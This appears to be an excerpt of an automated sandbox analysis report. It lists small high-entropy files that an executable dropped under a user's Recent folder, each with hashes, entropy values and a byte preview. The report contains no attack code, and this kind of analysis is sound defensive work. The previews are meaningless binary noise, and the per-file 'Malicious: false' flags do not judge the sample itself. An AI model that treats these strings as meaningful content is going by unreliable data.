SHA-512:	947C93495FABF6A422CA1FC8746200284F20D85E582FF0120A380ACDB5499107DEFAC247C3394415D24A8B2F02276A1F2A2E26C5FB6306387483ED6AF74E9AB6
Malicious:	false
Preview:	DUUDT.....i......[\...w+..^....a..{.O..t..t..{.4.....eU.^potb.#..%#ZZ...?.N...`..NLz.%...H.n......m.&T.5...C..a...S.,/T.~[.B...#..\.......O...v...5....9T..}...fm..j..2..Xa[.#%......5'..-6E.........vJ)YW....Q...>F..D$?xs...L...o.K...TC....u6u..=.R.....pa9#..!.P.v.....>.....vb.......>.."M.O.......;(.~.........?..q...s.nBn..*.-$.5K..k.-.Tc.`h..T.n\|.........i,..D=O.T.$.S.....:.'..Q......B9......%"....D..Q.....D1...\|..u(..6u..\|o.=i.kc.Q..b~x7C.../.......;...Vl...:..3g.l).K.9.h.H.!G..m-..-..t..n....d.k1.R.^.L0.U."+.W.q.aS../..h".........3vt.a3Y.`...../\|.Sl.;?..y.j...8Mk...G...x..#..GU.f3......rDve~e=.~..=_..;..8..Z...r3cv..\..+..M...@...C....~.]...GA..C.$5.....F..._.(.[w...>....x/Z`j]..P.1[V.:.d.... ..v9bRoqb.NB;:/.9............$_..%..K.).s...t.`...V..5h.E{v..W....R....lgi......>D....0.D8.i..@...w.......7..K...g..k...n...v..\..;..<k.1..H.e.'.eH....m.#..Ju...&l.D..M..A..`.i....q_...ud.....?...#.Z.J..@...D.R...Jv.Fw/.f&..3...c...H..V(.Zb(>JR.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ERWQDBYZVW.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856779511545634
Encrypted:	false
SSDEEP:	24:4fVl8BfsvBG8UMM3bq5eGlDV24vHDIt1B92h7/ji2Cc84DnMFlwnbD:4tlkfss8UB3G5ekV2Ect1Bu7/uDcZDM8
MD5:	FC7E617F7A1A4B1B26943F83D5E05545
SHA1:	24DA6D8E7BB0475FFF88700DE7849368E8C206F4
SHA-256:	144B380D204410DA71673FF1542182D23F9AFD6FB1E94B5D55DEFBB20CCA96C9
SHA-512:	B5033D7BC10E827FCDD8DB7E1EF21991DBD106DB6EC765629D21CD8FE11D734B032C64B77AE4E58186B49410B2FD7AD74B9EDACE5608AD891DB11F99D01197A6
Malicious:	false
Preview:	ERWQD.a..'.aY.mc..._.....\qF.Gi....}......k...+.DSD.\_.]...;...../?Y.....>.;.<.akd..'q.@......!..X.Hn7..o..pm....S.7A...K...#...W...H8...............w.......]]...4....rf0.p..8..Z.,....R.s..05Y..\|.6@..`....F9x'..."..6..^r.S....7..k.nG...u(...n..Y ..H..oWf."M.......\|.rc..C.x....P.-..z._.K.w+..HS#..c.{...xc..."....ei.wq.....T....Z..E..u.......%i..#..j.....mKS.b.wK\|5S_......u....%eB.q...$..S(...t...K...l....5j.7f...>...I....!.4..g..g..q;r...Ia/.27..i..\|sv.^x.`l.:x+.....X...x........B....+.....p..s...&G.....iJ.L,.6.!.r}).8;.h.P.gK.......R..!.W..e....P....Q...h0..;..B.a...h..).......\.</^@...F-w.(<<....38F?{.e.MM`Z..... 5.6....R7...F...i....yO.'....",...f.Y......7/....^9.oyx...G^...2..7......-....e....I.V....1. f..N........ .sX..-d...M.....g....N....r.F...c.j....~NH.8..+..0..W_lq....NW.kO..... H.X..&.v.....'.?.2Vo.....UPr..}Z.f.....d..wc.}7.=....+@.m..`..h...\n.S.F"....$tY(...k.O....$X'!..ts......D.e..>.......L..0o.t..4..B$&.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\FAAGWHBVUU.pdf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863366651005513
Encrypted:	false
SSDEEP:	24:b4RuVWThng+4yHT+my9t0rVj1ihE6i/u/z/0Ps7tG6ekF9bD:0kytg+4yHT44Cz/0y7RrD
MD5:	4E75742D1339FB0042CCFADDD0F5CE6C
SHA1:	3123FF761B206E155A7B7C864AE484B5C7A36C31
SHA-256:	CAD9C5F51BD6E00B1AD23017494A7783E7D26C02A8D4290EF3ED257192744472
SHA-512:	1A1937363C2786DD283C840363D121B85C4B6B3EAB69192E8BAA49846D5E497DC1C01B1E36C1CF6CD86590D8DBFE738E80DA5B580B1CE0E27586F0FF3CA715C3
Malicious:	false
Preview:	FAAGWlW.P..[.L.aa..!...Q..&.p..L`.....Z^..0..y..-.1.....v%..t...p..}.E....?..'..en........xbso_..x.{..W.I.....-.s.o..!...S.tM.W.&NZH&...H.u...'}..QM..."....f>.gA.7..0......}..O.G0..EF...C.;g.t...@w.g.L4T.<..&.J...7x;\.zh.\|w.Y{.,........(b..$..D<z../.J..<k.(%...R.m.kO....O9.........^.....~S............@i(o...[.....,...xZ.{.q.]....v...t.Yo.X&..l.......V5V....{(.."2)......h.@@.H...Q..5.{..8j...t..so.]=.,...[,P....a.jo..D...KA..V.......P.=.B.]v.Q..x....,q..o.\..W.s....Q.+.b....GeK~b^mA...]...D4.].i.`Xr.2t.#1...............IW.V...b3.Z[.yH......(......`....JO>}.U....=,...V........8.<...Z......h.....9...KA...."..~(..>.V.../....Z9l:I..)....bH3...C...-XI.9R....>s..,..Y..i^...f.{..j.u.qr.C}..W2....Y..[..`..}]....H...n....F.A^.....!.#....Ys..a....q..PPO.......?......>S...G...r..Z..7.J.JW..N.i..".5.....M.9).......p.....o.....%....TR.........Y...,.'n...1#..~.oM".5.\....7l.s?..O.~.)z.'......K..N.=.8..6.Z....../Q5.....t.q.lX..4.3z&...Y..{n.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\FENIVHOIKN.docx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835317277202313
Encrypted:	false
SSDEEP:	24:23T2BxGrlKWmxrBk5260R1fUUNhYDPo71NPzxGXrL4bD:NBK0JTj60RRXT0ofIXrLiD
MD5:	D23E717491071BEB22177BCF6DF112CD
SHA1:	612BBDFAE8E003982399B126750D4550B5B12E95
SHA-256:	B1E59B5C80DAF297C7F5E7DEE6E4C7F4CAA093BD16E86FD080C2384C93AA0B69
SHA-512:	D0D8F09120C0AE680F784E99A1C3135EC92FAA95B0EF404D3C23F0E05E29AA1163DF04E71F046C908C0DC268C91250CB61AD04AC9DD33E47E6187184EE974965
Malicious:	false
Preview:	FENIV...b.r:F....G..M..R.....~......BHGzm.?.u.8.X-X'..-...{.".K..O.&..;5.x.F.!...u.L..0v)[(.v,..B.f....O6..(5.LgTTk].......... PNI8t.Z.<5V..?O.8.}h.{.!..s...bQ_-9n..$..mV.....#".q.API0..0.5.^....R#.w./)..n....>.t...-c,......[.o..Y...I.=oa.q..S..\|w.k...O.....gGG.....,...h....:J'...$.sA..[.+.......fj....=.....S....!.."....%...E.^]ay......{...>..Q.K..U}.,.......U...Z{-..R,^......{B...Z.4=]T.$.!;X........b.i..;....x:;...R.g.....5..~..'...}.[;.//.Z...T..+t&.}.r..ljU...<.:6}..X. .t.E.....k.+..#..?`U.b,Zs=..v.7..d.f..@x.$7$.qM!..:....?.=..+r....t...8z.,......U.....m...8.+........ns.i*[..x.=....1..N....v.."............Y.....7.].,xIO..._'..PS.$j]........}[........}.......e.U,ew..y.0.#B3.~U..m..2......MD..J=.8R...x".F.5.-M..V..yk:.WN..._......#..p.X....:.4M2s.<U7l..:....z.n.Tt.N...uO.....XpU.x6.D.b..t...;.....;...h..8..2.)Uw`!.V$......,.....r.i...}'.z..]Ls.;y..Fr.]X-PZq.Xt..N8..?.E`.Y6..!.%\|\|........v.W.UL.!".`..WYJE.h~.9PG<...N.&.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861535550138427
Encrypted:	false
SSDEEP:	24:HmI4oWNd4NQSxi1hNW1yzjeDnYCEP9bDxHfUJiIE7pshArnL87ebebD:HmrfNd4Lxi568jeDnYC0bFN7/nA7ebcD
MD5:	B86FAFC9DAC6C7F209C30E0237AFEA40
SHA1:	84F9FAF99B51A3D75680A2124E7A322B1451FF52
SHA-256:	BBA120DE73FC137830FB6569F2F22BC4B01E2D7C2DCCF2D7420A14968F2A9DAB
SHA-512:	6F97B08B72FE0DE81AA4A0D7BC3503E2FED3F9B97018ED976301CF6C635C2ACC64959754E0471E47C1C7DCFC34D7BB20AE5BA360AEAB4F24224A379F4A768D1C
Malicious:	false
Preview:	FENIV`....y.....H..D..TQ...O..........m..o%.;.cP.&...\|.."...M)S.rn......5..\.N.!5.pE...J...l...q.....[`..\|..vu.6....G..z......Pne..........<5:.w....Kz?.......L...5../z.]'..S...sz..~.e[.0..V....%I6...\L.R..c..........m".oUz........w.5...\|9Q;>.>Z....n......U}...7...kf......XZ...A..wxB(..<pX....l.Gf!.2.N.s..I....`.\|..O........+M2......g....c.j..A..]M....v..../5Z%D.-.0.8..M.4..C.)&..O..=../p.F.....w..<#EDeS.]h'...$..\|q..#...iuN..).M.gO. k..c.$....=....X}..T...l.{..#.,..73.'5B..\|...D$:...I3..1.'.o.....u...]o...H...c.I........%?..-....M;5i.P...\.\|..5?@X...(T.;.>.R.-.dm.......<..5.?.._np..vr..Z6+R..7..i...._...r.....W/.)..h....)5.$"r.V3".......k2...YQ...\|N.].S..7Z..1. ...`.9}..._X...^.....h...........Y.T....M...._s0.....\|#..e.o.@.u..[...9.....{P0...X..;..S.$R.Jv..q.....C.V..uY.."#O....1.`L.(.W....Y....F.t.s_M..ZH.!....U..D..V.b..-.t`.Z......<+^.!....s.o(....(d^.n..a..;..m.3/..A..m.........%.$?O@..&.p........6.5...#....X..%.xu\....Z........=

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\FENIVHOIKN.xlsx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863553195322276
Encrypted:	false
SSDEEP:	24:uEBLFRVUVnygbXlum5hLBuizV/IfWv9uRKmQkGvH/x+71RgAT50NivC57U3BDcbD:uEBLFRSVnDbXlum5NBDecuTuhC1XSOMD
MD5:	DCB9C22C29AB4D403D8A4B43E4ADFEB6
SHA1:	F4EDC16D409309DD957D0C8DED467454184A0122
SHA-256:	E03EDEC684E7184224154F8A2419FAAB3529B1BFD7DAC9C64B20AD2092BD60E8
SHA-512:	F3535FA3EE3EB334ED698AD9157E7C6D26E1AB2073451704334F7E3E48DAFB3C763DCCBC3DA1B801BF2372C38E903CEEA6CC0DCF91864F67A82E7D327A1C69B5
Malicious:	false
Preview:	FENIV..pIt..y....e..m6...a.U..2my....b.g........X..`...70c..CE....{...egJ.l.R=...."7b...x.iG.B.$.yE.3..n../..pq......s..`.B...T..$r.U...6.Eo0t[...Q....f......O.)....\.r..r<..#...V!.,z..4Q..^c.. ;.5...Q.........-..E...CuV..P.i.6..A.;h..C..Q<..=.gV..vq)f..D...s.jo.Q\|y..e...X..g.n....l7?N{..u.AW..#....n5.........L.S....e....L.L.T..3...j......w..f.`^.A....~...I6.>.....;...M..%.O..d..:W........V.]7...4.Jl<z4.g..?[...F..c.n...T.....O.<.......a`!P./6.BD.g....L6...<...<O.!..U..V.7:.......S..COc..V.Q.....[(...X].`..*?..Mxm:...Y..4b.eA.....Nw).K.}.0y.[6...`d.A... .h...-.!+{+._?..O...s...=o...K.X.}b.....S..\...i_8..]_..S..J`.}:....[.d..9r'..IX..Y...[.z........~2\|.....Zt.....@...:p.....Pw..o....mu..."..\...4n..@..........Kv~....\|..M'....!.}Ybo.....Z#..\|...e.....aGC....? ".#.D.~H..h....3.R]....[...h.H.s...U.kH].42..8......M~@...pua...H.K.J.C........"..../.b.w....]..!{.t-:&-.<..=. \....c.CSe....d._..kv...Qm..........D6......'{"p.+Gp..U.U......=...c.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HTAGVDFUIE.mp3

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83931157689009
Encrypted:	false
SSDEEP:	24:4/Ai0hWDMBsjw06yrY2tP+q2hxH3YwNJQSMhfUAm05bD:uAi0hV06yrY2tP+q2hxXshbD
MD5:	0BDAA43CE6FC62774778DD61668906AB
SHA1:	B726E816694E41E536B640623C830FC89B4E73A5
SHA-256:	7E47A6D961BDE75532BA941BFF93F81022BA7015A5CFB629163AC7103123E228
SHA-512:	B531B93C85E44D90F3E7A1D6770ACBA18217A58069942DD1D080A0D8DF3DD26AD9140A9583B53D81F8EB09A0D3D564F92A6762DA2F9B73E6E80BA7B6AD2194A2
Malicious:	false
Preview:	HTAGV.....\|.._...MD...7...u.s.kO......S).D0.S.<..-.H.\|.....%4.ll..(...9....Yu..i.....\lc..Sb...~#..J.N.F..1.R.PFBq..@..c.iR8....4..(,.!(z3...R.B..v._.(................. ...9...,.:...e....R...>..a5P)<.-.C?..0.t4".d/.%..l...~...F1TX...FdU.....?=...r.....G..Q.S......#.7.\|.g..k.um....V.......~@..\|.k1..A..yt..}tV.pRA......A..?......l"gs=.N..;.e.`..r_C.W.$.6.....gt.4o~b..J.p.5.eJ...jik..$.................m..J4........jX1..L.A...g.......=n"W.e.....t..(9E..>mKe.#db..i......5..\-.....H_.....U...=....FD*.B.s..6.....w..^....G.3.;1.$,.e.....j..yK$%.(XK.../".{z..l. .[.+z..O...+.p...C.......H..........GM.o'...D..-...4.d..p.5. W..............i".Y..?..BG.......<t.P.U.e.3V..M.H.....]....XY9.}.~&....CY^<;?.x"f...l[.....5HoX(P..C,..5'.......!_@.$.{&.>f=.=....VRg...SS.r.\|..7H...D.K.zA....%Ih1.)...jy...'A..j..B...e..._!c.C.U...Ag..?@&1_P.e._.o......N...}.?.Y.....Xv.b...F..62...qA.{l.3....lLt...H.-....3.X.../4.{.\h..?.E.D.u..86h...l...~xv..U.!5.7./...I.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8411468675185905
Encrypted:	false
SSDEEP:	24:X606pyoTNwM/IcA4rnvf4XFdwlHjA/XP1n7f9RnGUbD:XEpwZc3sFdwlc/XP1n73G+D
MD5:	8412CC3691FC0E967DC6578A5837364A
SHA1:	8696E3D28E1FB13E0AB2CF03EBC571E799662DC3
SHA-256:	0D8F40ED76CD8FC3B115FE17100C01EF9C77E1DD987DAF98541D016BD436380A
SHA-512:	C3300886445713B14E6DA553E9F19C97AB8DA8670515ADE9AE05C165F5528CEBF9577056A41ECD6364B195D95021FB0777B999EDD96381EC252A1D1C6CBB6EF2
Malicious:	false
Preview:	HTAGVB_p.M.X"k]..n.kD.~.!..5....R.o.R]....#e...0..w..!..bM..!V...WI. .{...)F?..Q.j...zX.H.s.....q.F.A.].....&..3..1)..A.j....nL..8....?..Z...L..J.x..[.,."..?"...+.uf..f..Kh?r..s...R.D7j0\|.x....ZUqDS~Y,.[...k.....l..^..B...`m..Z..'G...:um,..O..]...J.\.s7`...F.ws6C..>H..q...g.YD....'.i==s..7[...N.....7"..b$...H..M9....tV1.t.U:.d(...W.xi.&..)W...z..c..A.9.....#.u^...T..7..BG..gS..<c....[$....w....aZ+..1c.....w...T.J..* ...5..JPbV...nl.....n.B..@y..iYP.KT-...D..VWp.r....7`.HG.F..'.~.X....j.....h.....~Mb....W.DVT..(...v..d%..S.=n;r...3..\|...$...B..=T.O...&FIY.]6...8...Is.Y/........Q... F.....mp.J.l.....j.o.........M. .)\.,.B...@..r0....%?&...\|A.Z>..O2..\|...E..m.[..@..9G.(...q..n.k.......X>..h.PG.c..#%]S...y=..c..T4.}.V..M..Qs...j0.U.^...J.&...tD".}4.6c...;2.A5.X........I......-..E....zRI..}..I.k.m.J..PX.M0.......K2.TW>E.(.^,......c..X..-@..Q\|^[0."..N...4BE3........De.1......`.ev$=.]@..I......tp....{.....*.2.."...>`{..`.l...\..'-.C.Oeob-.w....L.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853134500293711
Encrypted:	false
SSDEEP:	24:jP/SK7udhhnq9XbhpzLie+dRrixyamAlat4+jJw56sPhim6PencjEowcmWbD:jiKKdHqxrx+dRrQysatp1w5lPwB4cQoB
MD5:	F9012CDE861D82CD32C0B494DBA41BF4
SHA1:	1B2D6C2A2F6F17A65FE87D712A2D34246BCB63AE
SHA-256:	F4BF67A8BE54DF9F81B0E348A9F67CD67807421752CED0CD6287EFED72072591
SHA-512:	F1F50157FD58026EB5CF5235FE133FAACE2F6140CA653FDA035E688DE71B0255343CB30A9E6E059FF4E32EA340DEEF897DD986F4EF6ACF7730824B081701BD5C
Malicious:	false
Preview:	HTAGV3O..Y.q..Z.R..>,.9......J<.@..Z-....Z..h...]."....2...j.(.l.. ..3...mBpU.....i..F+5.Mq...........@\..~.r#...G..P...b.4TP.9....w[5s.@....y.7..8a..I..g..=....j..G...;$.4......l......q..2#I..5.,0..........jg}.N.q..m.k.z:....R...../y...8.g}4~....{...T-......u;..r.?....6,..4..2.>..$... ..;.rj..D..IS. .h.pv.>X...9.mG4...R....fv...[...b.E..k.w....FtqE...v..{.c.,d...c...G.D..V.....8~ N..#3..(.9......O.6fKiC.w..\g.~...MH.<..._S.9.YA.FB. .....>=....J.#.C..;}9.6O.........gJ..u...........)+.4...D.9<..U8...g.m.V.....r...w...I>"..2.B...F....x..j.._.!........M.I......+. C...?.uF.j......_....(.l....@{....jsU.......>.U......UH..W^>..;..2.C.<7\|.g..x......T..Q.{.....K.b..Q(XX...J"...;..U..B#.j.'Y.y%.8tV(GM<I%*0.=.9d.^YY!.c..m..ILy\|g...n...^....iUn.m.P....t..C.........!M...Q../...k.a..7;:....#8i..zD..[..-L..i..y..Q.E....~....h....8.;Ylw...HW.mI..x!......E/.......R.a...(...q.z..i[..n. +(.~.."..Q../..Z.O.;.I.q.<...\.B....p............Z....%...]....'....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IKCRSXYNJM.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8522530106704265
Encrypted:	false
SSDEEP:	24:vE0qjc0KZgvf6PBFOpaDbZtDv75ksQhSeoivnedTd03gBIpj7y+UC7O/wbD:s0Yb6P/OcZxvK5hSpaedTdagi57ZUvqD
MD5:	D10CE0BA288D374F0EB18D2F701FF8DF
SHA1:	D0649B2D8E3E9AAFF70C87133FE8CDAE98FFA38C
SHA-256:	DB197375C50179CCB02604BD8AA51504632F3A553E424E4093DAE2313E8CAA8D
SHA-512:	93365D382DBAF5DC9E7A070ED7CB2AD580B75182A7200169E74CD96A4996D4EC9113AD3230B5A45101E728057FD7F740AA7D777B84C84B30835F4E6F2A522861
Malicious:	false
Preview:	IKCRS...l..."...7..VE.+...pQ.7.n..ll..T....X.'9.Yr.%.6h..v..........>$J...7z....)O...?.P~,.%.g.L9cJ.K.....f.....S.A.#..V...fUxG+.#v^5..ql...(.Oq..VO/7...O.2...Y..5.I..#C..1.v..q.rW..O.....p...6...e.P.F.W%......k$..Cu.A.~..2R...FP.v.e.(-f...o$.....z.m...q3..&..0.#@VD...=."......?Z...I\|.2q....P~..Mt....E..7e.......E.$...Y.L.vx.....2.". ...t..iR....HZ2.M.@..Ei.2=.H..C...._o....H.).S.r./..~.G.Mt...............w.L..P.C...K\"p...P+...7.$=..z.........i...%.g...L...'..tVb@S.r...;c..{G^.(.N..m...X..3....gU...a.". d...F.6..7Y).S.s.o...,.b.B.M.3_..Q...u...".p.Gm!_ ..D.....N.s.[j.. L1.t'.. ^5i.N%...q...9.a%...).9........u2J5?/....MO..U..5'...`z_.;.......c.g.....3-.`.+%.......89.$.K.\|.r.%....\|A...\|.F....~y.r..m..v.s.P......c$.9G.r.<.Y.......$Q..%Kr70.w)Q.y[....Hz.E.LP.9....4.!..jQk.U.]......$....G.KC..b_..j.......X.."....7....4..z(....+u.+Ln'N.......={..x{'...,.Z..Y...r.x .u....Mh.c..JT...8...0w.j..J.I.......}.....Y.,..$#ieg...:&.ZzO.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858887823808529
Encrypted:	false
SSDEEP:	24:8PrZK5M9t/KWk6uBusjEOqSTUReDY3krW4mXnspKbD:IIMfKWk6uBusjEOqTeDY0Wv32oD
MD5:	FA2C97B30203D49D259C03A994AEE50E
SHA1:	6D8F41FD49EBA1E4BBA6ED06FA4162979C37DF51
SHA-256:	D8631CAECBC365F8AF1CE92F9604448DEB8CD2C884CBB5ECF2A8F0909F4FC161
SHA-512:	BE72DDA526E178AAABAADEE3579A1A13BE65686F6782EB4C6E84EAFB92D98B7BB81648E0E85687D3F96E24332E6385BFF5E65005E274DAF9D733617637CC988E
Malicious:	false
Preview:	IPKGE$..4v9...R............-F....._..]kK?........2......O..1a[..>2.3...Z...4.Q...9[.L...G.L.UR..... %e....u'9~i.....f....t..-......YgI7..[O.....(.#......n.k..._o...H.n.m.....m...+........o .%.1.H....v0.8A.+.Z...lgrn.m.l...aq..%......I.........:.....E...............rV.....!..0..+..@....o._@..E.J.%Zw:...b.......?.)..&i,.Zk.A.....>.%....T..7R9.L?1ZK8.D.C.....y....b...^.T`}....41.\.s"..}..../....)W.?.J\59.wT..\.;.\.H.\|a. ....#.....Xy.(.=..;.f..1.b..}.x..j..$a.l..J.-..~LX]..5....9.".`o...$Ms.....,....<. ..........d..+..J.I..H.c....kL...P...A..... )$x....A..F.......kF[...5@..V[..w.'....,6....DL..wE...%.....8-.h....x.e.....].......d.r.tt,.Z.u..P...T.6..U...O\V.(g.^..<..g..EW..G).\|..j....kh..;..>I..n...>..v..X..N...#.S.$..c..*(.s._......6Z.Qe.s......0...RIeN.tj}.....6....]f..4.]^.Y.h...T..../]:....a..w...v...uF....y.......y~B...T..h~........U.A[......Z7{..M...j........sm?......N.L...d2l.].2v]...a2k.._...G <.P....cT..Y>....#Vd.$_.O.l\|...# .8"7..IF...w.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.pdf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836825325977933
Encrypted:	false
SSDEEP:	24:Q02XRYbpAS1fjFDSRWfqKPopiBtM7zOO2PIYXkcTUJnLwH3HZsicSJuPdNSmb8ld:Q02BYbpXsJgsiBCa+YXNU9LwX5sicSJV
MD5:	76086000C3A3D5F3CD0B51E217F91C89
SHA1:	435B5F63D16FBDD59FE94260D63B15EF428D59D5
SHA-256:	9D44AC47E575CA2F85DEA9FFAD9A72A406D122FE390DE95353FEFBF0B60762FB
SHA-512:	709AAF19B0238476119625DD4357F6B731188B72F530D104CD69DDA7B6FEEFE8D962A73488E4E167C46E086603B5B7EB7E5193F41EF7B94271736BB12ACC05FE
Malicious:	false
Preview:	IPKGE....4..iQ.P...>v.F_.3....;..n..&.K..~.....tzQ..I.P,.+.U.g-i..DB.......`/...ye{hl..>.;......Y.&.....G5.....zl.~./:....{.. ..#..aX.-.n%.....%...N..g.`..GG..B-.#. .)t..1<.i.`.9.N....[u.^..i..Z...rEE..O..s..L~.....t..1..$......._.oNx..^..ELE.}..m\....1Y..T}..[..o..K....a@.9.$}...t.k..O.....Qw.Sb.Y..;&\|.}...#..0.\|.X.b..<.-.../..lz.tA\.GN..]Y.d...=..2..D@.e,...^o.Z........ ..d...z...[........}.G...`....~..!a..[9........-.0....%..:0.6..x.?. .Y....a..&Z..s..,...S.....4...%.O......./..d.w....#k...q..u.8.sh.FC.q.h.....A.6...FX7..x,V..5A....H...me.b....t..X.r...-..$.I..D.D...WN....k%.W.......$...C..G.].;..)q...iE1...5.__..).R.0......kZU......7.E.cw..}............=.Q-.m.=m.....N......#..oK......Y.. ....x..'.........=f.^...k.b.n...%....>...3...&.s...'...y8Nt~. {W]...2.^..:..L...z..<.5.a...bu.....]..w.........P.=K..........v..}D9>. 2.B.Y.....HQo..p.#...s.[.!.<j.6..?..OO.-u..D.V.D..%......wx..1..Q.,.#.3R=...`<.....,gs.....n5.8..?K..d)O...E..Y..s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84185747032604
Encrypted:	false
SSDEEP:	24:peHMTwiGapNfGXleett6jkmgY8g2YENBsJpX0lCsv5W5olOQL0EVVmMvCvgsQ/4O:peHEv1GXIett9mgY8WymJpX0lpdlwKVb
MD5:	17B42ED111337C1E4216BA298465CE1D
SHA1:	17BD8B0496516E5602927FC8FA2EDD35756E273B
SHA-256:	C1FFB940F3F889CA822B1AA67EC4FAF76054E6837E07D21FC9DF9956B26696B7
SHA-512:	C41C38EA3A85BE7A2671444E622783C75B2C3741234209BC129281EFBD6110F470C63392199DE2C687F14EACE18A7A1CBD883582789B6F26286514405287CA93
Malicious:	false
Preview:	KATAX..A0..o..Yt..j.3.2../&........W..F..k.P.y..........A.[.=..<..xhR._U%.AbR...G.....i..[sl.._Y.X....E"..a.v.....<.EH...u...~..fo....>...xCXaXC.w..G1.0FQ..Ue.]..O.c....#...eTp.L."t..........[.Z...(./.K..._....J9....jGQ.T81.d.5#.W..AM?@....G...q....(5eA..F...{5`m.HU.uS#...e..T...nu....K..c1B..Y."(....>.H...2g.V......Z..".......7W..s.E...yJ`....sG...1.Y..K..+A.....yik]...y...B........I...:...?s..8.Tx..0./wvBV.!s..:GY..k..[../........X..2.j2..h.....7..Z#.7.7Y..Cx\|..L.T......c=.....b..5.w.y.....U_.......pp.+@Re{W.<....cL..#C.N.V.,;.3n..1..^...w..{..E.u.!1r..\...Hw...O.]........Mx...]..5.....\.W.U.s.@..J.....'..R.^q..e..z.XhFBe.\|.r...X.5.O....?L.I..za..u..6........\"7u..+......\.]...&..d{..`=...v\ ..C..@....k.V.......w...t6.Fq..S{.k.0...).....`..g..c.....=.c:.mF.X..U8=..C.t..;@.u...9..N.0....6..7..o...Q.....^W..}`..A`_.....F......+.s..J.K...![..@7.dK.z.K...9N......oa.....9f.W....l..) .>WR..h..f...\.....J.`.{...Y..4..eo...y.zp_...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KKCTUQOTUB.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874726955825457
Encrypted:	false
SSDEEP:	24:kDJ98SGF8iZx4CPfn9NDLVhgW9jSDpOPKHhi+OUu23Bl5NiIi5Z4kO2mD5GvbD:OJjkZvHVtJ2rOOj5N5ij4kOaD
MD5:	A3B0CC2EFB053A219D1B62AB9DD6DA8D
SHA1:	DD4A6664E9E3DF2BBF35B46B58089AF4DD84E395
SHA-256:	7A4A5C976C474A5DFC40A395B3A08E743F3FDD3A6DED9951B3795138DB3CA290
SHA-512:	F31D2C60310592027941021F30C0C33BA0C16510F02F7D286C7BB53F2E7203ED6596E349AF74276560BFB1DF25891AE8211BA19CC2BDC1F077B7C361FA7E4698
Malicious:	false
Preview:	KKCTU...5...[(6.....?.....WQ.KD..[.....Z.......'..........z.!6E'S.R.p8....6.."#r.Fp{....?..TA..x.z../j.c\.\|....59n...n..o.C.......n.L^3...>...x.o).N..%....y.].ipM..},..7\|%..E...dz.....\./l<\gOe4.E\.R...."/....._I.bui...v".a.-.Y.+.mT..+...}-...1..q>iR6.z....P.. 3..z.F.~.7..YZ......g....Nv.....t..Y0g.9.......GC.n.'.ma'........v.....l......06......i.'....&+.....lUL..y..#.2.....#J.X...?./2..30P...lu....A.{@Oy...T..p .81c.(.}..S..\....M....E.c..qE..3..f....a....S...f..:...fS...._d.........z......moO.n.w..%.I....+3..".\|.....K>.....vW.I.V..IM.......5.x7`.....wd.....z."..V.)...#N]S../g_...._....5yB...1.....q%.<.a..p........O.%.Jk...n...+D........b...y.8>3.?...}.dq...8ld........+.V+..a..\|...\|....p.Dzv..E..._........v2.B.2....x;..\.f.R.1.G....x.b...W].........A2....L..X!.......=.7..fa....u.].a..\|.x/sQ.A-{z\|H.^3]....V..#L.]k....A..J.'...GxLG.......uj..K.....k.....MEHi...$y5H..b.[I....G&. {....z......F.7..2.8o.M9.B..]..`ov=.J..1A

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840209904313372
Encrypted:	false
SSDEEP:	24:nYMjja1gHL+cxUWTbaWBM4GrIbv+Z/scLdgujJPcf/Mu4LCntnqebD:nn+GHL+cP5Be8b/c5N108uRnQcD
MD5:	32418CDFEFAF10478C6D8739067D0939
SHA1:	34B0D0AB836B066F85C7838ED078D8FC27D2E3C0
SHA-256:	116CBDC8B665844FE3C8B41CA3FCF7414BAD47BBA4A9AA60403112AE4AEFF267
